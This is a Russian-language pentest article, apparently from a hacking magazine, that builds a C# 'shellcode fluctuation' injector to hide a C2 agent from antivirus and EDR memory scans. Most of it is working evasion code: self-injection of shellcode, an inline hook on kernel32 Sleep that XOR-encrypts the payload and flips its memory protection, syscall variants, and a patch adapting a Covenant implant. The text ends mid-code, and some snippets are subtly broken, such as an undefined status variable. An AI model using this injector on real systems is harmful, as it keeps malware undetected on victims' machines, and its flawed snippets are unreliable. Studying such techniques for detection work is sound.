Флуктуация шелл-кода. Пишем инжектор для динамического шифрования полезной нагрузки в памяти
Сегодня поговорим об одной из продвинутых техник уклонения от средств защиты при использовании фреймворков Command & Control – динамическом сокрытии шеллкода в памяти ожидающего процесса. Я соберу PoC из доступного на гитхабе кода и применю его к опенсорсным фреймворкам. Если взглянуть на список фич, которыми хвастаются все коммерческие фреймворки C2 стоимостью 100500 долларов в час (Cobalt Strike, Nighthawk, Brute Ratel C4), первой в этих списках значится, как правило, возможность уклонения от сканирования памяти запущенных процессов на предмет наличия сигнатур агентов этих самых C2. Что если попробовать воссоздать эту функцию самостоятельно? В статье я покажу, как я это сделал. Итак что же это за зверь такой, этот флуктуирующий шеллкод?
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор не несет ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
- Проблематика
- A long time ago in a galaxy far, far away…
- Флуктуация шеллкода на GitHub
- Пилим свой флуктуатор на С#
- Использование с агентом C2
- Бонус. Реализация API Hooking с помощью MiniHook.NET
- Выводы
Проблематика
В основном мой хлеб – это внутренние пентесты, а на внутренних пентестах бывает удобно (хотя и совсем не необходимо) пользоваться фреймворками C2. Представь такую ситуацию: ты разломал рабочую станцию пользователя, имеешь к ней админский доступ, но ворваться туда по RDP нельзя, ведь нарушать бизнес-процессы заказчика (то есть выбивать сотрудника из его сессии, где он усердно заполняет ячейки в очень важной накладной), «западло».
Одно из решений при работе в Linux – квазиинтерактивные шеллы вроде smbexec.py, wmiexec.py, dcomexec.py, scshell.py и Evil-WinRM. Но, во-первых, это чертовски неудобно, во-вторых, ты потенциально сталкиваешься с проблемой double-hop аутентификации (как, например, с Evil-WinRM), а в-третьих и далее – ты не можешь пользоваться объективно полезными фичами C2, как например, исполнение .NET из памяти, поднятие прокси через скомпрометированную тачку и тому подобное.
Если не рассматривать совсем уж инвазимные подходы типа патчинга RDP при помощи Mimikatz (AKA ts::multirdp
), остается работа из агента С2. И вот здесь ты столкнешься с проблемой байпаса средств защиты. Спойлер: по моему опыту в 2022-м при активности любого «увожаемого» антивируса или EDR на хосте твой агент C2, которого ты так долго пытался получить (и все же получил, закриптовав нагрузку мильён раз), проживет в лучшем случае не больше часа.
Всему виной – банальное сканирование памяти запущенных процессов антивирусами, которое выполняется по расписанию с целью поиска сигнатуры известных зловредов. Еще раз: получить агента с активным AV (и даже немного из него поработать) – нетрудно; сделать так, чтобы этот агент прожил хотя бы сутки на машине жертве — бесценно уже сложнее, потому что как бы ты ни криптовал и ни энкодил бинарь, PowerShell-стейжер или шеллкод агента, вредоносные инструкции все равно окажутся в памяти в открытом виде, вследствие чего станут легкой добычей для простого сигнатурного сканера.
Если тебя спалят с вредоносом в системной памяти, который не подкреплен подозрительным бинарем на диске (например, когда имела место инъекция шеллкода в процесс), тот же Kaspersky Endpoint Security при дефолтных настройках не определит, какой именно процесс заражен и в качестве решения настойчиво предложит тебе перезагрузить машину.
Да-да, мы поняли
Такое поведение вызывает еще большее негодование для пентестера, потому что испуганный пользователь сразу побежит жаловаться в IT или к безопасникам.
Есть два пути решения этой проблемы:
- Использовать C2-фреймворки, которые еще не успели намазолить глаза блютимерам, и чьи агенты еще не попали в список легкодетектируемых. Другими словами, писать свое, искать малопопулярные решения на гитхабе с учетом региональных особенностей AV, который ты собрался байпасить, и тому подобное.
- Прибегнуть к продвинутым техникам сокрытия индикаторов компрометации после запуска агента C2. Например, подчищать аномалии памяти после запуска потоков, использовать связку «неисполняемая память + ROP-гаджеты» для размещения агента и его функционирования, шифровать нагрузку в памяти, когда взаимодействие с агентом не требуется.
В этой статье мы на примере посмотрим, как вооружить простой PoC флуктуирующего шеллкода (комбинация третьего и частично второго пункта из абзаца выше) для его использования с почти любым опенсорсным фреймворком C2. Но для начала немного экскурса в историю.
A long time ago in a galaxy far, far away…
Флипы памяти RX → RW / NA
Первым опенсорсным проектом, предлагающим PoC-решение для уклонения от сканирования памяти, о котором я узнал, был gargoyle.
Если не углубляться в реализацию, его главная идея заключается в том, что полезная нагрузка (исполняемый код) размещается в неисполняемой области памяти (PAGE_READWRITE
или PAGE_NOACCESS
), которую не станет сканировать антивирус или EDR. Предварительно загрузчик gargoyle формирует специальный ROP-гаджет, который выстрелит по таймеру и изменит стек вызовов таким образом, чтобы верхушка стека оказалась на API-хендле VirtualProtectEx
– это позволит нам изменить маркировку защиты памяти на PAGE_EXECUTE_READ
(то есть сделать память исполняемой). Дальше полезная нагрузка отработает, снова передаст управление загрузчику gargoyle, и процесс повторится.
Механизм работы gargoyle (изображение – lospi.net)
Принцип работы gargoyle много раз дополнили, улучшили и «переизобрели». Вот несколько примеров:
- Bypassing Memory Scanners with Cobalt Strike and Gargoyle
- Bypassing PESieve and Moneta (The “easy” way….?)
- A variant of Gargoyle for x64 to hide memory artifacts using ROP only and PIC
Также интересный подход продемонстрировали в F-Secure Labs, реализовав расширение Ninjasploit для Meterpreter, которое по косвенным признакам определяет, что Windows Defender вот-вот запустит процедуру сканирования, и тогда «флипает» область памяти с агентом на неисполняемую прямо перед этим. Сейчас, скорее всего, это расширение уже не «взлетит», так как и Meterpreter и «Дефендер» обновились не по одному разу, но идея все равно показательна.
Из этого пункта мы заберем с собой главную идею: изменение маркировки защиты памяти помогает скрыть факт ее заражения.
Вот, что на самом деле происходит под капотом этой техники
Cobalt Strike: Obfuscate and Sleep
В далеком 2018 году вышла версия 3.12 культовой C2-платформы Cobalt Strike. Релиз назывался «Blink and you’ll miss it», что как бы намекает на главную фичу новой версии – директиву sleep_mask
, в которой реализована концепция obfuscate-and-sleep.
Эта концепция включает в себя следующий алгоритм поведения бикона:
- Если маячок «спит», то есть бездействует, выполняя
kernel32!Sleep
и ожидая команды от оператора, содержимое исполняемого (RWX) сегмента памяти полезной нагрузки обфусцируется. Это мешает сигнатурным сканерам распознать в немBehavior:Win32/CobaltStrike
или похожую бяку. - Если маячку поступает на исполнение следующая команда из очереди, содержимое исполняемого сегмента памяти полезной нагрузки деобфусцируется, команда выполняется, и подозрительное содержимое маяка обратно обфусцируется, превращаясь в неразборичивый цифровой мусор на радость оператору «Кобы» и на зло бдящему антивирусу.
Эти действия проходят прозрачно для оператора, а процесс обфускации представляет собой обычный XOR исполняемой области памяти с фиксированным размером ключа 13 байт (для версий CS от 3.12 до 4.3).
Продемонстрируем это на примере. Я возьму этот профиль для CS, написанный @an0n_r0 как PoC минимально необходмого профиля Malleable C2 для обхода «Дефендера». Опция set sleep_mask "true"
активирует процесс obfuscate-and-sleep
.
Получили маячок
Далее с помощью Process Hacker найдем в бинаре «Кобы» сегмент RWX-памяти (при заданных настройках профиля он будет один) и посмотрим его содержимое.
Цифровой мусор или?..
На первый взгляд, и правда, выглядит как ничего не значащий набор байтов. Но если установить интерактивный режим маячка командой sleep 0
и «поклацать» несколько раз на Re-read в PH, нам откроется истина.
Маски прочь!
Деобфусцированная нагрузка маячка
Возможно, это содержимое все еще не очень информативно (сама нагрузка чуть дальше в памяти стаба), но если пересоздать бикон без использование профиля, можно увидеть сердце маячка в чистом виде.
PURE EVIL
Однако на любое действие есть противодействие (или наоборот), поэтому люди из Elastic, не долго думая, запилили YARA-правило для обнаружения повторяющихся паттернов, «заксоренных» на одном и том же ключе:
rule cobaltstrike_beacon_4_2_decrypt
{
meta:
author = "Elastic"
description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2."
strings:
$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
condition:
any of them
}
В следующих актах этой оперы началась классическая игра в кошки-мышки между нападающими и защищающимися. В HelpSystems выпустили отдельный Sleep Mask Kit для того, чтобы оператор мог изменять длину маски самостоятельно, но это уже совсем другая история…
В статье Sleeping with a Mask On можно увидеть, как модификация длины ключа XOR влияет на детектирование пейлоада CS в памяти.
Но довольно истории, пора подумать, как сделать эту технику «ближе к народу», и реализовать подобное в опенсорсном инструментарии.
Флуктуация шеллкода на GitHub
Два невероятно крутых проекта на просторах GitHub, которые еще давно привлекли мое внимание – это SleepyCrypt авторства @SolomonSklash (который идет вместе с пояснительной запиской) и ShellcodeFluctuation, созданный @mariuszbit, у которого я позаимствовал название для этой статьи. Ни в коем случае не претендую на авторство, просто мне кажется, что слова «флуктуирующий шеллкод» отлично годится для наименования этого семейства техник в целом.
SleepyCrypt — это PoC, который можно вооружить при создании собственного C2-фреймворка (на выходе имеем позиционно-независимый шеллкод, сам себя шифрующий и расшифровывающий), а ShellcodeFluctuation – «самодостаточный» инжектор, который можно использовать с готовым шеллкодом существующего C2. К последнему мы будем стремиться при написании чего-то подобного на С#, а пока разберем, как устроен ShellcodeFluctuation.
ShellcodeFluctuation
Самое важное для нас — понять, как реализуется перехват управления к обычному Sleep (который kernel32!Sleep
) и переопределяется его поведение на «шифровать, поспать, расшифровать». Как ты уже мог понять, мы будем говорить об основах техники Inline API Hooking (MITRE ATT&CK T1617).
Хороший базовый пример реализации хукинга (как и многих других техник малдева) есть на Red Teaming Experiments, но мы разберем упрощенный пример на основе самого ShellcodeFluctuation, чтобы быть готовым к его портированию на C#. Вместо Sleep пока будем хукать функцию kernel32!MessageBoxA
для более наглядного демонстрации результата.
В сущности, нас интересуют две функции, ответственные за перехват MessageBoxA
.
fastTrampoline
Функция fastTrampoline
выполняет запись ассемблерных инструкций (именуемых «трамплином») по адресу расположения функции MessageBoxA
библиотеки kernel32.dll. Она уже загружена в память целевого процесса, куда будет внедрен шеллкод (в нашем случае мы ориентируемся на self-инъекцию, поэтому патчить kernel32.dll будем в текущем процессе). В момент установки хука инжектор перезаписывает начало инструкций MessageBoxA
трамплином, содержащим безусловный «джамп» на нашу собственную реализацию MessageBoxA
(MyMessageBoxA
). В процессе снятия хука (за это тоже ответственна функция fastTrampoline
), трамплин перезаписывается оригинальными байтами из начала функции MessageBoxA
, которые предварительно были сохранены во временный буфер.
Содержимое трамплина — это две простые ассемблерные инструкции (записать адрес переопределенной функции в регистр и выполнить jmp), ассемблированные в машинный код и записанные в массив байт в формате little-endian.
Результат сборки с defuse.ca:
{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }
Disassembly:
0: 49 ba 37 13 d3 c0 4d movabs r10,0x1337d34dc0d31337
7: d3 37 13
a: 41 ff e2 jmp r10
А вот и сам код:
// https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L178-L262
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
// Шаблон нашего трамплина с 8 нулевыми байтами, выполняющими роль заглушки под джамп-адрес
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
// Патчим трамплин байтами джамп-адреса
uint64_t addr = (uint64_t)(jumpAddress);
memcpy(&trampoline[2], &addr, sizeof(addr));
DWORD dwSize = sizeof(trampoline);
DWORD oldProt = 0;
bool output = false;
if (installHook) // если в режиме установки хука
{
if (buffers != NULL)
// Сохраняем во временный буфер то, что мы собираемся перезаписать трамплином
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
// Разрешаем себе изменять память по addressToHook
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt))
{
// Устанавливаем наш хук (просто копируем его содержимое в нужное место)
memcpy(addressToHook, trampoline, dwSize);
output = true;
}
}
else // если в режиме снятия хука
{
dwSize = buffers->originalBytesSize;
// Так же разрешаем себе изменять память по addressToHook
if (::VirtualProtect(
addressToHook,
dwSize,
PAGE_EXECUTE_READWRITE,
&oldProt))
{
// Восстанавливаем то, что было там изначально (до записи трамплина)
memcpy(addressToHook, buffers->originalBytes, dwSize);
output = true;
}
}
// Возвращаем маркировку защиты памяти в первоначальное состояние
::VirtualProtect(
addressToHook,
dwSize,
oldProt,
&oldProt
);
return output;
}
MyMessageBoxA
MyMessageBoxA
– наша функция, переопределяющая поведение оригинального MessageBoxA
, адрес которой будет записан в шаблон трамплина, и на которую мы «прыгнем» при легитимном вызове MessageBoxA
.
В качестве демонстрации мы вызовем MessageBoxA
с одним сообщением, а модальное окно отрисует совсем другое.
// https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L11-L65
void WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
HookTrampolineBuffers buffers = { 0 };
buffers.originalBytes = g_hookedMessageBoxA.msgboxStub;
buffers.originalBytesSize = sizeof(g_hookedMessageBoxA.msgboxStub);
// Снимаем хук, чтобы далее вызвать оригинальную функцию MessageBoxA
fastTrampoline(false, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA, &buffers);
::MessageBoxA(NULL, "You've been pwned!", "][AKEP", MB_OK);
// Снова вешаем хук
fastTrampoline(true, (BYTE*)::MessageBoxA, (void*)&MyMessageBoxA, NULL);
}
Результат
Полагаю, что здесь все ясно без лишний объяснений.
API Hokking функции MessageBoxA
Пилим свой флуктуатор на С#
Идея реализации этой техники на C# пришла ко мне после твита @_RastaMouse, где он использовал библиотеку MinHook.NET для PoC-флуктуатора.
PoC от @_RastaMouse (изображение – twitter.com)
Что ж, мы можем попробовать сделать что-то подобное, но без тяжеловесной зависимости в виде MinHook.NET, которую не хотелось бы включать в инжектор. Так как я планирую запускать финальный код из памяти через PowerShell, лишнее беспокойство AMSI вызывать ни к чему.
Так как объяснять, как ты писал код, в тексте статьи всегда непросто, поступим так: сперва наметим такой же каркас программы, как на скриншоте выше, а затем реализуем недостоющую логику.
Прототипирование
Итак, вот что у меня получилось в качестве наброса схематичного кода:
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace FluctuateInjector
{
class Program
{
// Классическая инъекция шеллкода в текущий процесс
static void Main(string[] args)
{
var shellcodeBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\dllSleep.bin");
var shellcodeLength = shellcodeBytes.Length;
// Выделяем область памяти в адресном пространстве текущего процесса инжектора (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
var shellcodeAddress = Win32.VirtualAlloc(IntPtr.Zero, (IntPtr)shellcodeLength, 0x3000, 0x04);
// и копируем туда байты шеллкода
Marshal.Copy(shellcodeBytes, 0, shellcodeAddress, shellcodeLength);
// Репротект памяти после записи шеллкода (0x20 = PAGE_EXECUTE_READ)
Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, 0x20, out _);
// Хукаем Sleep
var fs = new FluctuateShellcode(shellcodeAddress, shellcodeLength);
fs.EnableHook();
// Начинаем исполнение шеллкода созданием нового потока
var hThread = Win32.CreateThread(IntPtr.Zero, 0, shellcodeAddress, IntPtr.Zero, 0, IntPtr.Zero);
Win32.WaitForSingleObject(hThread, 0xFFFFFFFF);
// Снимаем хук
fs.DisableHook();
}
}
class FluctuateShellcode
{
delegate void Sleep(uint dwMilliseconds);
readonly Sleep sleepOrig;
readonly GCHandle gchSleepDetour;
readonly IntPtr sleepOriginAddress, sleepDetourAddress;
readonly byte[] sleepOriginBytes = new byte[16], sleepDetourBytes;
readonly byte[] trampoline =
{
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
readonly IntPtr shellcodeAddress;
readonly int shellcodeLength;
readonly byte[] xorKey;
public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
{ }
~FluctuateShellcode()
{ }
// Наш переопределнный Sleep
void SleepDetour(uint dwMilliseconds)
{ }
// Установка хука
public bool EnableHook()
{ }
// Снятие хука
public bool DisableHook()
{ }
// Функция, отвечающая за флипы памяти на RW / NA
void ProtectMemory(uint newProtect)
{ }
// Обфуская памяти шеллкода простым XOR-шифрованием
void XorMemory()
{ }
// Генерация ключа для XOR-шифрования
byte[] GenerateXorKey()
{ }
}
// Необходимый набор Win32 API
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32.dll")]
public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, uint dwSize);
}
}
Вроде, пока все более-менее прозрачно. Единственное, что надо уточнить – это какой шеллкод мы возьмем в процессе тестирования.
Все просто: скомпилируем DLL из дефолтных пресетов Visual Studio с единственной выполняемой операцией – Sleep
на 5 секунд, и превратим ее в шеллкод.
sRDI (Shellcode Reflective DLL Injection) – логическое продолжение техник RDI и Improved RDI, позволяющее генерировать позиционно-независимый шеллкод из библиотеки DLL:
- sRDI – Shellcode Reflective DLL Injection - NetSPI
- monoxgas/sRDI: Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode
Для этого понадобится код самой DLL:
// dllSleep.cpp
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
while (TRUE) { Sleep(5000); }
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
И генератор шеллкода из DLL:
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o ShellcodeRDI.py
PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py -o ConvertToShellcode.py
PS > python ConvertToShellcode.py -i dllSleep.dll
Creating Shellcode: dllSleep.bin
Шеллкод для тестов у нас готов. Не переживай, как только закончим с инжектором, протестим все на боевом C2.
Реализация
Каркас инжектора есть, дело за малым – наполнить методы класса FluctuateShellcode
смысловой нагрузкой. Будем идти по нашей «рыбе» снизу вверх.
FluctuateShellcode.GenerateXorKey
Здесь все очевидно – сгенерируем последовательность байтов, которая будет накладываться на байты шеллкода как шифрующая гамма. Помня о несовершенстве первой версии техники Obfuscate and Sleep в Cobalt Strike, из-за которой присутствие бикона можно было распознать YARA-правилом, основываясь на длине повторяющегося ключа, я реализую шифрование XOR в режиме одноразового блокнота. В этом случае размер ключа равен размеру шифротекста, то есть длине шеллкода (благо, шеллкоды обычно небольшие, поэтому «лагов» и «фризов» быть не должно).
byte[] GenerateXorKey()
{
Random rnd = new Random();
byte[] xorKey = new byte[shellcodeLength];
rnd.NextBytes(xorKey);
return xorKey;
}
FluctuateShellcode.XorMemory
Пока тоже вроде нетрудно: накладываем шифрующую гамму на сегмент памяти, содержащий байты шеллкода.
void XorMemory()
{
byte[] data = new byte[shellcodeLength];
Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);
for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];
Marshal.Copy(data, 0, shellcodeAddress, data.Length);
}
FluctuateShellcode.ProtectMemory
В реализации этой функции выбор остается за читателем: либо используй VirtualProtect из Win32 API с помощью P/Invoke, либо если хочешь быть самым крутым хакером используй D/Invoke и системные вызовы, как мы делали это, когда модернизировали KeeThief.
Пример с P/Invoke:
void ProtectMemory(uint newProtect)
{
if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, newProtect, out _))
Console.WriteLine("(FluctuateShellcode) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
else
throw new Exception("(FluctuateShellcode) [-] VirtualProtect");
}
Пример с D/Invoke:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
uint NewProtect,
ref uint OldProtect);
void ProtectMemory(uint newProtect)
{
IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");
NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));
IntPtr protectAddress = shellcodeAddress;
IntPtr regionSize = (IntPtr)shellcodeLength;
uint oldProtect = 0;
var result = ntProtectVirtualMemory(
Process.GetCurrentProcess().Handle,
ref protectAddress,
ref regionSize,
newProtect,
ref oldProtect);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(FluctuateShellcode) [DEBUG] Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.ToInt64()) + $" to {newProtect}");
else
throw new Exception($"(FluctuateShellcode) [-] NtProtectVirtualMemory: {ntstatus}");
}
FluctuateShellcode.DisableHook
Функция снятия хука – то есть перезапись трамплина содержимым оригинального Sleep
, которое мы бережно храним в поле sleepOriginBytes
. И снова можно использовать как P/Invoke, так и более модный D/Invoke для работы с API.
public bool DisableHook()
{
bool unhooked = false;
if (Win32.VirtualProtect(
sleepOriginAddress,
(uint)sleepOriginBytes.Length,
0x40, // 0x40 = PAGE_EXECUTE_READWRITE
out uint oldProtect))
{
Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress, sleepOriginBytes.Length);
unhooked = true;
}
bool flushed = false;
if (Win32.FlushInstructionCache(
Process.GetCurrentProcess().Handle,
sleepOriginAddress,
(uint)sleepOriginBytes.Length))
{
flushed = true;
}
Win32.VirtualProtect(
sleepOriginAddress,
(uint)sleepOriginBytes.Length,
oldProtect,
out _);
return unhooked && flushed;
}
Если мы изменяем код, уже загруженный в память, Microsoft говорит, что мы должны использовать функцию FlushInstructionCache – в противном случае кеш ЦП может помешать ОС увидеть изменения.
FluctuateShellcode.EnableHook
То же самое, как и DisableHook
, только в этот раз мы перезаписываем исходный Sleep
трамплином:
public bool EnableHook()
{
bool hooked = false;
if (Win32.VirtualProtect(
sleepOriginAddress,
(uint)trampoline.Length,
0x40, // 0x40 = PAGE_EXECUTE_READWRITE
out uint oldProtect))
{
Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.Length);
hooked = true;
}
bool flushed = false;
if (Win32.FlushInstructionCache(
Process.GetCurrentProcess().Handle,
sleepOriginAddress,
(uint)trampoline.Length))
{
flushed = true;
}
Win32.VirtualProtect(
sleepOriginAddress,
(uint)trampoline.Length,
oldProtect,
out _);
return hooked && flushed;
}
FluctuateShellcode.SleepDetour
Сердце нашей флуктуации — измененная функция Sleep
, которая будет перехватывать управление в момент «засыпания» агента. По содержимому тела функции понятно, что она делает.
void SleepDetour(uint dwMilliseconds)
{
DisableHook();
ProtectMemory(0x04); // 0x04 = PAGE_READWRITE
XorMemory();
sleepOrig(dwMilliseconds);
XorMemory();
ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ
EnableHook();
}
Конструктор и деструктор
Так как мы решили пользоваться преимуществами ООП в C#, в конструкторе мы реализуем вычисление необходимых адресов и содержимого, находящегося по этим адресам:
public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)
{
// Получаем адрес оригинальной функции Sleep
sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary("kernel32.dll"), "Sleep");
// Инициализируем делегат для возможности обращения к этой функции по ее адресу
sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer(sleepOriginAddress, typeof(Sleep));
// Бэкапим первые 16 байт оригинальной функции Sleep
Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);
// Получаем адрес метода SleepDetour, которым будет пропатчен шаблон трамплина
var sleepDetour = new Sleep(SleepDetour);
sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(sleepDetour);
gchSleepDetour = GCHandle.Alloc(sleepDetour);
using (var ms = new MemoryStream())
using (var bw = new BinaryWriter(ms))
{
// Составляем little-endian адрес sleepDetourAddress в виде байтового массива
bw.Write((ulong)sleepDetourAddress);
sleepDetourBytes = ms.ToArray();
}
// Патчим этим адресом шаблон трамплина
for (var i = 0; i < sleepDetourBytes.Length; i++)
trampoline[i + 2] = sleepDetourBytes[i];
// Инициализируем другие оставшиеся поля класса FluctuateShellcode, к которым должны иметь доступ его методы
shellcodeAddress = shellcodeAddr;
shellcodeLength = shellcodeLen;
xorKey = GenerateXorKey();
}
Важный момент, на котором стоит остановиться отдельно: так как мы работаем с управляемой средой .NET, адрес метода SleepDetour
будет недоступен для неуправляемого кода, если только мы явно не попросим его таковым быть. Здесь на помощь приходит хендл GCHandle, дающий способ получения доступа к управляемому объекту из неуправляемой памяти (подсмотрел в этом ответе на Stack Overflow).
Метод GCHandle.Alloc
запрещает сборщику мусора трогать адрес делегата sleepDetourAddress
, тем самым «фиксируя» его на время всего времени работы инжектора. Чтобы отпустить удерживание адреса, мы используем деструктор:
~FluctuateShellcode()
{
if (gchSleepDetour.IsAllocated)
gchSleepDetour.Free();
DisableHook();
}
Тестирование
Время лабораторных испытаний. Чтобы успеть увидеть флипы и шифрование памяти в Process Hacker, я добавлю инструкцию Thread.Sleep(5000)
в начало функции SleepDetour
. Скомпилируем проект (обязательно в x64) и запустим.
Сперва смотрим на содержимое области памяти с шеллкодом, которое шифруется при каждом вызове Sleep
.
Обфускация области памяти с шеллкодом
Еще одно демо, на котором видна перезапись памяти kernel32.dll: трамплин сменяется оригинальным содержимым и наоборот.
Установка и снятие хука Sleep
Тесты в контроллируемой среде пройдены, время для полевых испытаний!
Использование с агентом C2
Для демонстрации работы инжектора с реальным C2 сперва нужно определиться с фреймворком, который мы будем использовать. Показывать работу флуктуатора с Cobalt Strike бессмысленно (хотя с ней он тоже работает), ведь изначальной целью было научиться встраивать обсуждаемую технику в open source проекты, да и sleep_mask
в свежих версиях «Кобы» работает как надо.
Итак, какой же C2 нам выбрать? Агент Meterpreter полностью интерактивный, и не использует Sleep
(ладно, там есть Sleep Control, но реализованно это как-то странно – “In short, the sleep command is a transport switch to the current transport with a delay. Simple!”), PoshC2 не имеет stageless-имплантов, и его код частично закрыт, а в Sliver генерирует слишком большой шеллкод в силу особенностей языка, на котором он написан (это Go, ага).
Мой выбор пал на Covenant, для которого @ShitSecure недавно показал, как создавать stageless-импланты. Отличный кандидат, как по мне!
Я загружу код кастомного stageless-импланта и изменю в нем задержки (Delays), реализованные через Thread.Sleep
, на полноценный вызов Sleep
из kernel32.dll.
Thread.Sleep → kernel32!Sleep
Вот такой патч у меня получился, если кто-то захочет повторить:
14a15
> using System.Runtime.InteropServices;
277a279,281
> [DllImport("kernel32.dll")]
> static extern void Sleep(int dwMilliseconds);
>
354c358
< Thread.Sleep((Delay + change) * 1000);
---
> Sleep((Delay + change) * 1000);
430c434
< Thread.Sleep(3000);
---
> Sleep(3000);
Далее я залогинюсь в Covenant и создам новый темплейт.
Добавление stageless-агента в Covenant
Теперь создаем новые Listener и Launcher в формате шеллкода на основе добавленного темплейта.
Генерация шеллкода в Covenant
Остается заменить sleepDll.bin
на путь до нового шеллкода и можно запускать инжектор!
You’ve poped a (fluctuating) shell!
Если просканировать область памяти, содержащей шеллкод, с помощью Moneta, можно видеть, что мы избавились от одного из самых показательных индикаторов заражения – исполняемой приватной памяти.
Никакого Abnormal private executable memory
И, разумеется, я не мог не портировать созданный код на D/Invoke и не включить его в свой инжектор, который зачастую использую на проектах.
Демо
Бонус. Реализация API Hooking с помощью MiniHook.NET
В качестве бонуса оставлю здесь реализацию класса флуктуатора, которая использует MiniHook.NET. Можешь сам оценить, сильно ли уменьшился объем кода.
class FluctuateShellcodeMiniHook
{
// using MinHook; // https://github.com/CCob/MinHook.NET
delegate void Sleep(uint dwMilliseconds);
readonly Sleep sleepOrig;
readonly HookEngine hookEngine;
readonly uint fluctuateWith;
readonly IntPtr shellcodeAddress;
readonly int shellcodeLength;
readonly byte[] xorKey;
public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr shellcodeAddr, int shellcodeLen)
{
hookEngine = new HookEngine();
sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep", new Sleep(SleepDetour));
fluctuateWith = fluctuate;
shellcodeAddress = shellcodeAddr;
shellcodeLength = shellcodeLen;
xorKey = GenerateXorKey();
}
~FluctuateShellcodeMiniHook()
{
hookEngine.DisableHooks();
}
public void EnableHook()
{
hookEngine.EnableHooks();
}
public void DisableHook()
{
hookEngine.DisableHooks();
}
void SleepDetour(uint dwMilliseconds)
{
ProtectMemory(fluctuateWith);
XorMemory();
sleepOrig(dwMilliseconds);
XorMemory();
ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);
}
void ProtectMemory(uint newProtect)
{
if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength, newProtect, out _))
